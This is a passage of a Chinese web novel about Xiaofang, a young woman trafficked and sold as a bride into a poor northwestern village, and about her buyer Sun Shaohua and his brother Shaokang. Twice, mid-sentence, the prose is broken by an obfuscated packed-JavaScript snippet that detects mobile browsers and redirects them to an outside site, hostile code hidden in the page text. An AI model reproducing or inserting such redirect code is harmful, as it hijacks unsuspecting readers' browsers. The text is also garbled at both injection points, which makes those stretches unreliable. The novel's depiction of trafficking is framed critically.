他眼睛里流露出许多关切来,多到让小芳感到更多的恶心,她不需要这些假情假意的关切,难道他没有伤害到自己吗?真要关心,那就放自己走啊! 她正吐得五脏六腑搅成滩浆糊,孙少华见她难受,又把一双大掌放到她背上撸猫似的给她顺。 “滚开!”她抹一把嘴角推开他。 “你要生气打我就行了,别拿自己身体出气。”孙少华以他的男性思维给小芳提出消气的建议,每次施工队上的男人脾气上来时就是这样发泄的。 “打你?”小芳一时竟哭笑不得,“打你还不是打到我自己身上!” 他显然是把小芳这句话给理解错了,他那脸孩子般受夸的甜蜜笑容正逐次绽放的时候,小芳出声给他收住了,“你想什么呢?我是说你这身板砖肉,打在你身上,我自己手痛,我他爷爷的是心疼我自己,跟你有个屁毛关系?你以为我跟你玩‘打在你身,痛在我心’那套?” 于是孙少华的笑容便凝固住了,凝固成一朵被风干的花蕾,他心里好失望啊,他以为女人真就跟世上大多数事一个道理,只要你有耐心,天长地久总会水滴石穿的,但他错了,女人可不吃那套,要让女人打心底接受你,靠的还是感觉。 “走开!”小芳吼一声,她见不惯孙少华脸上的讨好、关爱,还有此刻因自己不留情的打断而导致的失落,她也是见不惯。 小芳跑回屋子里,拖过被子蒙头蒙脑地强迫自己睡一觉。 睡觉成为眼下小芳唯一能做的事。 只有熟睡能对现实无知觉时,她的精神才能短暂地逃离这片让她望不到头的黄土黄山,过去她以为山和山能有多大差别呢?都是矗立在那儿,顶天立地、天经地义地不让山里人走出去,来了这里她才明白山与山也是有天差地别的,伍家村的青山不知比这里美多少倍。 她做梦也不再是关于广州了,而是伍家村,她还没意识到虽然她清醒时都在告诫自己,逃离这里就是为了奔去广州,她的尊严和骄傲让她强迫自己必须在哪里跌倒就在哪里站起,但内心最渴望的还是伍家村,伍家村的伍小芳才不是像在外面的伍小芳这样憋屈窝囊,连人身自由都被不由己。 睡梦里她被一阵“隆隆”声吵醒,梦里正梦到小时候在伍家村那条绿水河里和小三、玲玲一起捉鱼,小三儿三两下把鱼解剖完,鱼还在他手里垂死挣扎做着最后抵抗,小芳就被这声音强制拉回到无力反抗的现实里了。 她猛地就冲出屋外去,还没见到人就劈头盖脸骂起来:“要不要人挺尸了?!大白天的扳命啊!” 她那口伍家村的方言,“挺尸”和“扳命”都是让人搞不懂的,院子里有人不求甚解地问:“你在说什么?” 听声音不是孙少华,态度更不是孙少华,孙少华从不敢在她睡熟时弄出吵人的动静来。 “我说老娘大白天还在睡觉,你来把我吵醒了!”小芳走到堂屋门口了。 那人跨进门,见到她也不收势地回怼道:“你也知道是大白天?你猪啊?!” 她看清了他的五官和孙少华有相似之处,但没孙少华那种劳动畜生似的忠厚感,眉目间有很锐利的邪性。 “你谁啊?”她已经大致猜到他是谁了。 “这是少康。”孙少华从厨房出来说,看那样是正在做晚饭。 她就知道是傻骡子的老弟。 “我不吃饭了,”小芳朝孙少华说,“别来叫我,叫我我也不吃。” 孙少华正要开口劝:“你还是......” “闭嘴!”小芳和孙少康同时向他吼道,又互相剜了彼此一眼。 小芳骂完就进屋了,摔门的动静房子都跟着往上窜了窜。 傻骡子的弟弟脾气有点暴躁,听傻骡子那天跟他讲家里事,她就了解了,但那又怎样?有种他妈的就一刀把我结果了呀!只要他不心疼他哥出的两万块! 小芳的“闭嘴”,是嫌孙少华婆妈得惹他心烦,管她人身自由就行了,怎么还吃喝拉撒都伸手了? 孙少康的“闭嘴”,则是恨铁不成地嫌他大哥脓包,花钱买回来的女人还跟供宝贝似的。 他在县城这几天就晓得家里来了个女人了,他大哥亲自上广州看了一趟买回来的,回来时钟意得不得了,等的那几天在家里茶饭不思的傻愣。 孙少康对女人才没他哥这副痴样,他觉得女人都不是什么好东西,那金桔就是典型,在县城的施工队干上之后,他就跟队里老少爷儿们混熟了,那些人除了抽烟喝酒就爱嘴里拿女人开油荤。 金桔的事那群男人也添油加醋地告诉了孙少康,金桔和城里教书的姓郭的老师发生了次一夜|情,但两个人对此事的认知出现了天壤般的误会。 金桔认为这是私定终身,姓郭的假文人却认为这不过是一场你情我愿的肉|体替代语言的交流罢了。 那晚之后又过了快一个月,金桔跑到学校去找姓郭的,姓郭的险些没把这个哭得双眼肿得只剩一条缝的女人认出来。 两个人便在学校的亭子下见面。 姓郭的看她像看一团麻烦,“你来干什么?”他用怕麻烦的口气问道。 “郭大哥!”金桔一声郭大哥喊得十足像港版《射雕英雄传》里的黄蓉叫的“靖哥哥”。 “怎么了?”姓郭的却没把金桔当做蓉儿来柔情对待。 “我们那晚......” “我们那晚怎么了?”他一脸是“你别赖上我”。 他们那晚怎么了,金桔一个老实本分的乡镇女孩还真没脸皮青天白日地说出口。 那晚姓郭的到底把她怎么了,她只记得两个人在县城一家最新开的吃西菜的饭店,吃了一顿很风花雪月的饭菜,虽然这西菜的原材料全用的中式的,还是县城南边菜场的,虽然这顿饭最后结账还是金桔结的,但在金桔心中仍然是浪漫、多情的。 飘逸清俊的郭老师本人就是一个浪漫的符号形象,虽然这符号形象是他乱七八糟,东拼西凑出来的,但不妨碍他是整个县城不少女孩子的痴心妄想。 他们那晚,金桔只记得,在一家干净的宾馆房间里,她听郭老师诉说了生活、工作上诸多的不如意,他说这里和他上大专的城市又二十年都追不上的鸿沟;他说这里的一切都是落后的,思想也是,这里的姑娘穿的流行服装至少晚了内地一年不止,而把过气的时髦当时髦,比土气本身还要土气百倍,而思想的落后比穿扮上的落后更难以弥合。 郭老师说,县城里的这些女孩,失去本来面目地去模仿内地女孩,却模仿得面目全非,简直是丢了西瓜拣芝麻。 金桔正在反思自己是不是郭老师嘴里的那种女孩时,郭老师却赞美她了,他说金桔身上有这片土地最原始的一切,他把金桔年轻女孩的优美曲线形容成这片黄土地的山峰沟壑,他也像攀登山峰那样,攀登上了金桔,下临沟壑那样,俯首在金桔的脖颈间,一切都发生得那样自然,没有任何的胁迫与威逼。 等金桔第二天醒来,床的另一边早空了,她羞涩又满足地给自己洗了个澡,准备离店时,被前台人员叫住,对方说:“房费还没有付。” 金桔把钱付了,却没察觉到前台人员看她的眼神是又可怜她又轻视她。 “我们那晚,你说了你爱我呀!”金桔动容得像在说一段山盟海誓,她也的确把郭老师批发的情话当山盟海誓了。 “我说了?”意思是:我说了你也别当真。 “对啊,你说你爱我就像爱这片土地!”金桔把那晚郭老师如演讲般动情的情话说得比郭老师当时还动情,因为她对他是真动情了。 “胡扯!”郭老师说,“我他妈从来就没爱过这片土地!这里有什么?你告诉我?除了七天七夜也走不出去的黄土还有什么?你告诉我!” 什么?金桔脑子里闪过一声像上等丝绸被“嘶拉”划破的声音,他不爱这片土地?那么他也不爱像这片土地的自己? 金桔一双小鹿般的浓睫大眼死盯着看此刻还在喋喋不休控诉着这里的落后、愚昧和不开化的郭老师。 他已经把找上门来要说法的金桔当做他激情演讲的观众了,金桔不知道这世上是有一种人,他们有着表演型人格,走到哪里都可以现成的场地、人物当舞台,当观众。 郭老师一身亮堂的白衬衫,胸口袋上还插只钢笔,擦得贼亮的金丝边眼睛,这些全是他文人形象的所需配件儿,离了这些这个人其实什么都不是。 对于女人,他除了巧言令色,其余什么也给不了。 金桔像所有受过伤的女人那样,一瞬间就看穿了一个男人,她走上前“啪”地给了他一记响亮耳光,然后金桔说:“我就当我那晚被疯狗咬了!” 金桔回去后,不吃不喝把自己锁进屋里整整两天,老两口怎么也撬不开女儿的嘴,就在那时候,她甚至“自甘堕落”地想,孙少华就孙少华吧,至少那人憨厚纯良,她当然不是爱他的憨厚纯良,但她可以和他的憨厚纯良过日子。 晚上她就把她妈放进房间了,决定要嫁给孙少华了,经过了郭老师给她上的这一课,她已经懂得了男女关系的真谛:那就是“实惠”,吃苦能干,嘴笨平实。 孙少华没有能让她心动的点,但孙少华有能让她把日子过下去的点。 金桔妈听了,骂道:“你疯啊!你要过去当牛做马给人家又当嫂子又当妈?!” 金桔妈不顾女儿正难受,就把那天孙少华上门的事一口气、真实夸张混杂地全讲了。 金桔“哇”地一声痛哭出来,把她妈吓一跳。 她内心绝望地想,孙少华居然也是个不实惠的男人,原来她身边的每个男人都只想剥削她! 很快,金桔妈在摸清楚女儿真正想要的男人是什么样了,就给女儿搭上线了,县城里的胡家二儿子,比金桔大十二岁,去年死了老婆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630280|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有个女儿。 即将二婚的胡老二对第二任妻子的要求也不会像第一任那样严格把关了,再说小他十二岁的女孩进他家来当继室、做后母,要论吃亏也是人家大姑娘。 两个人第一次面,胡老二就被金桔年轻却饱含世故的风情给征服了,她的年轻属于二十不到的姑娘,但她的世故又是只有三十岁的女人才能拥有的,这种矛盾让胡老二当场把婚事敲定了,都当爹的男人了,哪来的体力和兴致陪小姑娘玩爱情游戏? 日子是越快越好,三个月后,金桔和胡老二就结婚了。 孙少康听完工友们说,心里全是邪火,但他又不能再去找金家和胡家的麻烦。 再说将心比心他觉得金桔的选择也没错,他哥那种脾气,要不是他亲哥,他都想说做男人做成这样白瞎了那条根。 胸膛那股邪火经久不消,很快他就找上骗子郭老师了,也不算他主动找上,是一次进店买烟时,他和姓郭的恰巧肩膀撞上了——也不知为什么,男人的肩膀老这样撞上,撞之后要么成兄弟,要么成仇人。 孙少康一身沾了灰的工服,碰到郭老师万年不变的白衬衣给他上了点色,郭老师也没说话,只是面露嫌弃地拍了拍,他便找碴给人扣帽子,带点咬文嚼字地扣:“怎么?看不起工人阶级啊?” 郭老师哂笑了下,工人阶级?这个看着不满二十的小子能理解工人阶级的含义吗? “你知道马克思、恩格斯、列宁和斯大林吗?就在这里妄谈工人阶级?” 孙少康说:“你每天不吃饭?不拉屎?你知道米是怎么种的?屎又是怎么拉的?拉出来还能拿到菜地里去浇,供你再吃饱一顿?” “我请你嘴巴放干净一点。”郭老师觉得自己和他一雅一俗的争论完全是鸡同鸭讲。 孙少康不管这些,他当街骂道:“老子嘴就是脏,我是从我妈X里出来的,生下来就是脏的,你不是从你妈X里出来的?哦,你是从你妈后面那个盛屎的洞里出来的,是不是?那你该比我更脏!怪不得净干脏事,哄这镇上县城里的女人陪你睡觉,还他妈的讲一堆废屁话把人绕晕了再睡,你那根玩意儿不好使啊?还要跟机器一样用前需要预热会儿?” 说完一把就揪住了郭老师的衣领。 这场面郭老师很吃亏,孙少康身边全是他那群只荤不素的工友,当下个个都拿郭老师的艳事来过嘴瘾,开胃口。 孙少康的势头让郭老师嗅到了一丝危险气息,他胆怯了,秀才遇到兵,没有道理可讲,自己千万不能和他动手,打赢了他,旁边那群要是不服气跟着上了就成车轮战了,打不赢也不行,虽然文人斗殴很丢人,但斗殴失败的文人更丢人,以后他还怎么在这县城里混? 郭老师轻轻拍了拍孙少康攥住他衣领的手,好态度地说:“大街上动什么手?你来说说你认为今天我哪里做错了?” 孙少康想果然是当老师的,好会狡辩,“你今天当然没错,老子就不能因为你以前犯的错打你?” “我以前犯了什么错?我可不认识你!”孙老师找到理了。 “你认识金桔你就该认识我,我的嫂子你也敢来乱睡!老子不打你打谁?” 说完,孙少康的拳头打桩似的朝郭老师身上狠砸去,拳拳到肉,又拳拳避开要害。 他揍人把自己揍得汗流浃背后才招呼着工友们离开的。 郭老师没报警,不是他认为自己有错在先,是他认为孙少康那德行就像学校里的小霸王那样,被他欺负的人越是告状,他越是欺负得狠厉。 他就这样吃了一记闷亏。 可这年头不知究竟流行什么,孙少康再把郭老师揍了一顿后,在县城里出了一次不小的风头,就这次风头让他获得了不少女孩子们的青睐。 但越是上赶着对他表达喜欢的女孩,他越是烦,越是没好态度,这些女人和当初喜欢郭老混蛋的有什么分别?热脸专贴冷屁|股,越是对她们高高在上的男人,她们越是要把自己送上去供人糟蹋。 就抱着这样对女人的偏见,他就赤条条地一根光棍打到二十六岁。 二十六岁再想找到适龄的女人结婚就困难了,要么不挑找死了男人的,要么找年纪更大的,他就是往下找,人家看他家里条件,也不愿意上赶着去找罪受。 孙少康和孙少华两兄弟当工人挣得还不错,平日开销也不大,但顶不住有个祖坟冒青烟出来的小弟需要供。 小弟孙少东还真出息到像孙少华当年在金家说得那样,书一路念上去,念到河北读军校,河北,离北京多近啊! 有了小弟,他更没把自己那点事放心头了,但大哥他是放心窝窝里的,三十的男人了,连女人都没碰过,他先替大哥难受起来。 于是听见一个施工队的工友说他的弟媳妇就是花一万块找人fan子从贵州掳过来的,可贤惠了。 孙少康回去也跟他哥商量了下,起先他哥还不干,还是他说这里的规矩是老大结婚,后面小的才能跟着结,才把孙少康劝动的。 就位这样,他哥还人生头一次出了趟远门,走得好远,坐车都要三四天,是在广州,一座繁华得能登上电视报纸的城市。 就那趟回来,他哥跟被人下了药一样,还跟自己借了一万块,凑齐两万交给人fan子。 啥样的女人值两万?县城里两万的彩礼能娶个多好的姑娘? 孙少康想不明白,还是骂骂咧咧地把钱借了,大哥还有模有样地给他打了张借条,他也不晓得扔哪里去了。 今天他就瞧见了那个女人,他更觉得他哥是反过来给人fan子骗了,这样蛮横不知好歹的女人需要花两万?两拳头就给她揍乖顺了。 18. 默契 孙少华要回城里施工队了,他这次请了半个多月假来陪伴他的新婚妻子伍小芳的,虽然他自以为的陪伴在小芳看来只能算骚扰。 他当然不想回去,谁不想过搂着老婆过热炕头的日子?更何况小芳别说伸手,就是连脸都没给他仔细瞧过,他在小芳身上得到最多的就是白眼。 有次小芳实在是对他翻白眼翻狠了,孙少华心疼地说:“慢点翻,怕待会儿眼睛抽筋了!” 小芳骂他:“我看你才是脑子抽筋了!” “本来就是嘛!”孙少华搞不懂她就是不喜欢自己,也不用拒绝自己的关心啊?而且还拒绝得那么彻底。 “我们县城眼科有次来了个姑娘,就是把那种像两块胶片一样的东西往眼睛里戴,后来她怎么也取不出来才进医院的。” 他说得是一种叫隐形眼镜的东西,这个小芳知道,还是在广州的时候,她看见一些女孩眼睛亮得很好看,五颜六色的,她以为那就是传说中的混血儿,心想,广州就是大城市,人都带着半西半东的洋气! 看久了又觉得奇怪,怎么中国人和外国人混血,只混眼珠子不混其他部位?基因还能指定?那不是白搭了西方人有棱有角,浓墨重彩的五官吗? 她讲给王国富听,王国富笑了好久,他说:“你真好玩,那不是混血儿,那是美瞳!” “美瞳是什么?”小芳好奇道。 王国富解释道:“本来是隐形眼镜,后来又被你们女人弄出花样来了,没近视的也跟着带。” 那天下午王国富就带着小芳进了家又卖隐形眼镜又卖美瞳的,小芳原本跃跃欲试,年轻姑娘都有点臭美,她也想看看自己被那么多人夸过漂亮的中国大黑眼放上西洋人的瞳孔还能保持美丽吗? 可是看见戴美瞳堪称酷刑的使用方式,她果断放弃了。 想到这里,小芳的心中一阵隐痛,气就撒出来了,“滚!永远不要和我说话!” 为什么人和人的差距可以这样大?一个人捧出心肝肚肺来实心实意讨好你,你只会嫌他的心肝肚肺恶心,而另一个人从来不说一句实话,你却认为他的谎言都是那么悦耳,那么动听? 她此刻的气不是冲着孙少华傻里傻气的话发的,而是气自己,气自己还是那么贱,贱到想到王国富更多的是受情伤的恨而非受害人对犯罪者的恨。 一个男人是有多么无耻才会用勾引的方式来引诱女人? 一个女人又是多么无知才会如此轻易地被引诱? 小芳和王国富根本就是本烂账,但隔着天远地远,东南和西北,国家地图上最遥远的一条斜线,她不甘又哀伤地想,她和王国富没有再结清的机会了。 “你又怎么了?”这句女人最烦男人对自己说的话,现在被孙少华说出来是没有一点不耐烦,全是体贴和关怀。 小芳喝道:“你管我怎么了,受得了就受,受不了就滚!” “不是,后天我就要回县里施工队了。” “我没让你不回啊?”她巴不得他回。 “我一去又要待十几天,没人照顾你。” “大哥,”小芳戏谑他,“你以为你两万块买了个城里妹啊?我也是农村出来的!” “还有,”这次孙少华更认真了,“少康脾气不太好,你别理他。” “我脾气更不好。”小芳说。 “我知道。”孙少华老实不反驳地说。 “知道你妈!”小芳一个矮木头板凳朝他扔过去,但太重了,扔过去滚两圈都没滚到孙少华脚边。 她骂道:“你们家啥子玩意儿都是弄来练力气,练举重的!” “因为老子们干得就是力气活!你那几两柴火棍肉值得炫耀?!”孙少康早就听见了,他起先忍着他哥犯贱,但听到后面属实不能忍了,这女人简直是把他们孙家男人的脸面搁在地上踩。 “我那几两柴火棍肉怎么了?喊你哥去换个丰满的啊!”她在这个家里横行霸道,谁都不怕。 “我要是喊得动,你还在这里?”孙少华跟她顶起来了。 “那你说的个屁啊,你连你哥都管不了,手还伸长来管我?” “我他妈......” “少康!”孙少华立即阻止了他,那认真劲儿倒像他和小芳才是一个妈生的。 孙少康“哼!”一声,这就是花两万块找罪受,他哥受还不行,他也得跟着。 “少康,”孙少华软下来,“我走这几天,你照顾好她。” 孙少康和小芳同时吼道: “我要照顾她!”(1) “谁是他嫂子!” “毕竟是一家人......”孙少华劝道。 “放你妈的屁!”两个人又同时吼道还相互瞪了彼此一眼,同样的恶狠狠、凶巴巴。 孙少康和小芳都没意识到,两个人的对立在这一刻仿佛成了默契的同盟。 孙少华又没看清形势,不着调地来一句,“我的妈也是你们的妈。” “赶紧滚!”吼完,小芳和孙少康又惊讶了,他们张着嘴望向对方,不再是交锋,而是意外,同样程度的反感也会使两个彼此厌恶,处于交恶状态的人有近乎心有灵犀的同频吗? 但很快,两个人又同节奏地把脸移开了,小芳是心烦,和一个骡子的兄弟像说好了似的打配合,那自己成了什么?也成了骡子一家? 而孙少康则是在刚才短短的一瞬,领会到了女人的另一种美,一种不驯服的、野蛮的美,那种美让他以后每次在脑海里想到她,身上都会传来一阵被羽毛刮搔的痒意,搞得他浑身怕冷似的激灵。 孙少华在忧心忡忡地离开家之前,给小芳做了很多不用烧火加热的冷菜,至于热菜,他是一遍又一遍地叮嘱甚至乞求二弟别对自己嫂子太吝刻。 孙少康见着他哥满脸恳求,原想说出口的几句难听话也嗝屁了,只是忍着烦闷点了点头。 孙少华走第一天早上,孙少康就把早上的饭做好了,敲了敲小芳房间门。 小芳是不可能和孙少华睡一间屋,杀了她也不行,女人不像男人那样无所谓和随便,强迫女人和她们嫌恶的男人同床共枕,几乎所有女人都情愿变做贞洁烈妇,誓死捍卫自己清白。 所以孙少华自小芳到家里来后,住的是他上军校的小弟孙少东那间屋。 孙少康敲了两声没人应,又大声道:“快出来吃了,今早上吃面,再不出来都坨了。” 然后他就听见小芳一声不领情的“滚”。 “你这人是不是有病?”孙少康从没如此耐性子地伺候过谁,火也上来了,“天天精米白面地供着你,你一次好脸色没有,我就是去供个菩萨,抬头她老人家还给个笑脸呢!” 屋里小芳的声音传出来,“那你怎么不去坟地里上供,让坟包包里的人给你笑脸?” “爱吃不吃!”孙少康不管了,反正他又不是没叫。 等小芳起来已是中午十二点以后了。 她慢悠悠地洗把脸刷个牙,望了望外面那片看腻了的黄土黄山,这一天过得又像之前的每一天般不得劲了。 她到厕所去解了个手,孙少华已经把那张脏布帘换成里面可以关上插栓的木门了,还搭了跟电线进去装上灯泡,防止她晚上上厕所看不见摔跟头。 从厕所里出来,小芳就看见孙少康蹲在厕所外不远处,她险些吓得叫出声,以前伍家村就有这种流氓,专钻厕所的门缝、窗子什么的空子,以偷窥女人如厕。 她是苟同不了男人那点恶癖的。 伍家村有个公厕,男人和女人的厕所中间只隔着一道没通到顶的墙,老有男人爬到那道墙上盯女人上厕所,有时还下作地“嘘嘘”两声,模仿人解小手的声音。 曾经小芳和玲玲上厕所时就有个同龄的男孩这样干,结果手生从上面摔下来,骨头都摔断两根,小芳和玲玲还趁他痛得不能还手,飞快系上裤腰带,左右开弓就是几巴掌。 伍家村的公厕,坑位说白了就是条不宽的排水沟,中间用几道矮土墙隔成独个坑位,只有男女之间那道墙糊得最高,但没封顶,时常有人爬上去偷看,但想想,那样俯视的角度能看见什么?最多就瞧见个男女共有的白屁|股瓣,至于分辨男女的部位就全凭脑瓜子想了。 终于有天,一个老不死的贼老头在上面看久了不甘心,要看下|面。 他也不嫌恶心,两只脚踩在坑位两边,把头和自己臀调换了方向,臀像头那样顶得高高的,头又像臀那样要排泄似的往沟里探。 这样一个高难度且受罪的姿|势就是为了从那条粪水沟的空当里看女人是怎样用她们有别于他的器官排泄的。 结果,老头不知是人老了体力不支,还是真看入迷腿蹲麻了,上下失重,跌下去,头卡死在了那条和他脑袋等距离宽的粪坑里,人全身上下活得最体面的脑袋被搁在恶臭熏天,蛆虫乱舞的农村粪坑里,有多遭罪不能细想,细想恶心得几天吃不下一顿饭。 那老头自作自受地被卡住后,在厕所里呜啊哇的嚎叫,隔壁女厕所的女人们都以为青天白日的闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630281|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼了,上完了的、正在上的、准备要上的,全都不管人有三急了,一窝蜂全跑出去说公厕闹鬼了。 等村长叫上几个年轻力壮的汉子操着农具进去时,那老头已经死了,后来尸检说是有毒气体吸入太多死的。 幸好那老头是个没后代的光棍,否则谁家出个这种丢死先人、臊死后代的老畜生,往后数八辈子都要被人戳脊梁骨。 老畜生的尸首还是村政府给送到县城殡仪馆火化的。 伍家村的人都好谑,笑死老头好|色一辈子也算“死得其所”,临走之前闭眼想的都是女人白花花的屁|股。 那时小芳十五岁,她觉得男人实在是太恶心了,那老头听人说也六十多了,一把年纪了那器官还能成气候吗?身死心还不死! 再说,人排泄,拉屎拉尿是件多么恶心不雅、臭味浓烈的事?这种事花钱让她观瞻她还要考虑考虑呢,还别说让她无偿甚至遭罪地去看。 小芳对着蹲在地上的孙少康就是一顿讨伐,“看女人上厕所,你还有这种恶心癖好?” 孙少康蹲在那里还真不是小芳以为那样,纯为了个龌龊念头,他说:“你拉的和我拉的不是同样的?我为什么要看你的?我在这儿等你是为了问你,厕所也上完了,可以吃饭了不?” 小芳不信他那么好心,“你管我干什么?我自己饿了我不知道要吃?” “不是就怕你不知道吗,两万块呢!我哥连你一句好话都没听过,多可惜?”他寻求赞同地望向小芳,“你说是不是?” “是,怎么不是?”小芳也和他阴阳起来,“关键是我给你哥写借条,他不答应啊,我说让他放我回去,我去城里干流水线,挣钱还他,人家就是不干,我有什么办法?” 孙少康听后也是对他哥无语难评价,虽然他觉得面前这小女人是挺漂亮,泼辣得也让人眼亮,但娶回来当个老婆,天天只能看不能摸,看还没个好脸色给你看,真不至于。 农村男人娶老婆,说白了不就是多个劳动力且能生儿养女之余,还能搂着热炕头吗? 只有城里男人才会结了婚吃饱了没事干把老婆拿来当件不实惠的稀罕物供着,他哥这种一辈子甩不掉劳累命的村里男人学城里人干嘛? 小芳见孙少康低头沉思的模样很有几分对自己表示认同的意思在里面,便换了种商量的口气,“你认为我说得对不对?你哥也老大不小了,和我这样干耗着也是耽搁他,不如你趁他不在,把我放了,我给你们家打借条,还有我老家地址,我一定会还你们这两万块!” 这是她被卖到这里来后说得态度最好,最诚心实意的一次话,她是真的想离开这里,见过广州后,才知道人与人的差距很多时候也在于地方与地方上的差距。 生在广州女孩子最差也不至于像在伍家村一样,过得再好或者过得不好都必须要走上嫁人生子那条路,即使是和一个无比不适合的人也是必须要走那道程序的。 在伍家村人要结婚就像人都会死般天经地义。 而这里,简直比伍家村还落后。 孙少康看了她一眼说:“我认为你说得很对。” “那我赶紧给你写借条,你赶紧放我走,趁你哥没回来!”小芳急得下一秒就要去收拾东西了。 “你慌什么?听我把话说完好不好?”孙少康拦住她。 “怎么?不信我?”小芳做出一副她很值得人信任的样子。 “我哥让我照顾你,结果我把你照顾跑了,你怎么不替我考虑考虑他会把我怎么办?” “我为什么要替你考虑?”小芳没把心里话憋住。 孙少康气笑了,“你都不替我考虑,我干嘛还要帮你?” 小芳恨自己嘴快,对他们兄弟的讨厌压都压不住,又找补道:“你帮我就是帮你哥啊,我都说了把我留在这里屁作用没有,误你哥也误了我。” 孙少康说:“但我看他也是很乐意被你误的。” “我不乐意。”小芳今天不知怎么,天真地和他讲起道理来,“你们尊重一下妇女意愿行吗?我是个人又不是牲口,被你们天天圈在屋里,你们这是犯法的!” 孙少康说:“牲口可没你这待遇,还有犯法?别说我们这儿,镇上还有买来的女人,公安局怎么不去抓?” 小芳眼泪一下就涌上来了,尊严又不允许她在孙少康面前掉眼泪,她立马转过身说:“我是疯了才和你们这些没开化的野蛮人讲道理!” 她告诉自己别和畜生讲道理,除非你也把自己当畜生看。 19. 落寞背影 小芳回房间躺下,眼泪怎么也止不住,泄洪似的汪出来。 她拿过枕头盖脸上哭湿了又换一面,等换的这面也哭湿了,再翻过来,之前那面也是湿润润的没干。 她哭了很长时间,落日将最后一线光也从房间里抽离,她的眼泪却还没断流。 外面又响起了烦人敲门声,是孙少康催她出去吃晚饭,“你要修仙?一天一顿都不吃?闹脾气也不是这么个闹法!” 修仙?真能修成仙,像股青烟那样飘出去那可就太好了,可惜了她这副无能为力的□□怎么也不能逃出生天,小芳没理他在外面鬼叫。 她觉得刚才那一下,孙少康应该是看见她落泪了,所以才这样着急忙慌地找上门来耀武扬威,说是来叫她吃饭,实质是来痛打落水狗。 小芳不理他,孙少康又在门外威胁道:“你再不出来,我撞门了!” “自杀不了,你放心,”她说,“你家房梁那么高,我够得着?” 她的心并没有彻底死亡,她对广州,对流水线还存着一份遥远的念想,那是她走出伍家村的初衷,也是支撑她陷入困境不气馁的希望,人怎么能连梦想的彼岸都没到到达就先言放弃了呢? “不想死就赶紧出来吃饭!” “你们这些人心里一天除了三顿饭还有别的吗?”她这几天光是听他两兄弟天天喂饲料地喊自己吃饭就受够了,人要是活得只为那几口食,跟畜生还有什么区别? 做人如此糟蹋地做,那何必浪费一个生而为人的投胎名额? “人不吃饭,活着干啥?”孙少康说,“你是从广州来的吧,广州的人难道不吃饭?” 无法交流,完全无法交流,这就是现下小芳的唯一感受,她好想说:“你错了,人家那些人吃饭只是为了去做一些别的、有意义的事,而你们做的所有事都是为了那三顿饭!” 她还是在大城市待得太短,对城里人有着想当然地误会。 她悲愤地想,这些没开化的野蛮人是无法理解的,他们连买卖妇女是犯法的都不当回事,你还期望他们懂什么? “吃你自己的吧!”小芳朝门上顺手扔了个离她手最近的物件,“我饿了我晓得起来动手做给我自己吃,我看见你家两兄弟的脸,再香的饭都吃不下。” 孙少康终于消停了,小芳又放任自己在床上痛快地哭了场,哭得很累,毕竟要压抑着声,那龟儿大致是猜到她是躲在屋里哭了,哭出声来只会让他证实猜想,抓到笑柄嘲讽她。 小芳把自己哭睡了,醒来整个人都带着一种血脉畅通的爽快,仿佛把在广州和这里委屈和痛苦全排除体外,她身心是舒服了,肚子却不合作地闹起来,向她控诉,已经一天一夜没往里面塞东西了。 从床上起来,她一阵晕头转向,险些跌一跤,她忽然感到很奇怪,那么长时间没进食是对身体的伤害,可她也才十九不到啊,哪能虚弱到这种地步? 在伍家村和广州她可是能蹦能跳,帮家里干一天累活,和王国富逛一天广州,沾着枕头睡一晚,体力全回来了,怎么躺着哭还比走路干活都费力了? 身体要是衰落成这样,怎么走得出这里山连着山的黄土坡呢? 她果决地打开门出去要把肚子塞饱。 走到外面看时间快要十一点了,农村这个点鸡狗都各睡各的了。 走到厨房去看还有什么剩下的冷饭冷菜能让她将就凑合两口,可一点剩米剩面都没有,更别提剩菜了,她想,肯定是孙少康故意跟自己作对的,否则怎么会他每顿饭做两个人的份量,一个人吃还干净得耗子都没留一口? 小芳想自己上手,可瞥见那口大锅她就心烦,用那口锅做饭,耗费的体力正好能和吃饱的饭抵消,基本等于白忙一场。 厨房的每一样用具也不是让她能用顺手的。 小芳烦得在厨房直跺小碎步,手里还把锅碗瓢盆给弄得乒乒乓乓的,她饿得不好受,睡着的也别想好好睡。 没一会儿孙少康就从房间里窜出来,揉揉眼睛说:“动静那么大,我还说哪来那么大个耗子!” 小芳知道他是在怪里怪气地贬自己,也不示弱道:“我是耗子你是什么?你是猪啊?一个人吃那么多!”把我那份也吃了。 “你不吃还不让别人吃?”孙少康说。 她神经衰弱不想和他多说,但肚子却丢她脸的叫起来,羞得她无地自容。 “你何必呢?”孙少康看她窘迫地站那里,像犯了错跑不了等着挨训。 她也的确等着他后面难听的讥讽。 可他接下来没嘲笑她,他是真搞不懂女人,白天的时候一天三顿,好吃好喝,还附赠□□地端菜收碗,除了电视上,搁哪儿的农村人家里能有这种待遇? 偏好歹不分,要跟你对着干,你喊她东,她要西,你推她往前走,她犟着非要跟你倒退,即便你全是为她好。 “给你煮碗面行吗?”孙少康听她肚子叫得像造反似的,又心烦又好笑,“等饭蒸好,你等得及,你肚子也等不了。” 小芳“嗯”了一声,倒像她吃了亏委屈。 孙少康把大木头锅盖轻轻一提挂到放它的铁钩上去,给锅里舀上几瓢水,做到大灶前去烧火。 他火烧得利落,后面那片墙都染上火光投上去的橙黄色,暖色的光调使他柔和起来,整个人没有了白天的尖锐。 锅里水很快就沸腾了。 “吃多少?”他手里拿着一把挂面问。 小芳说:“我自己来!” 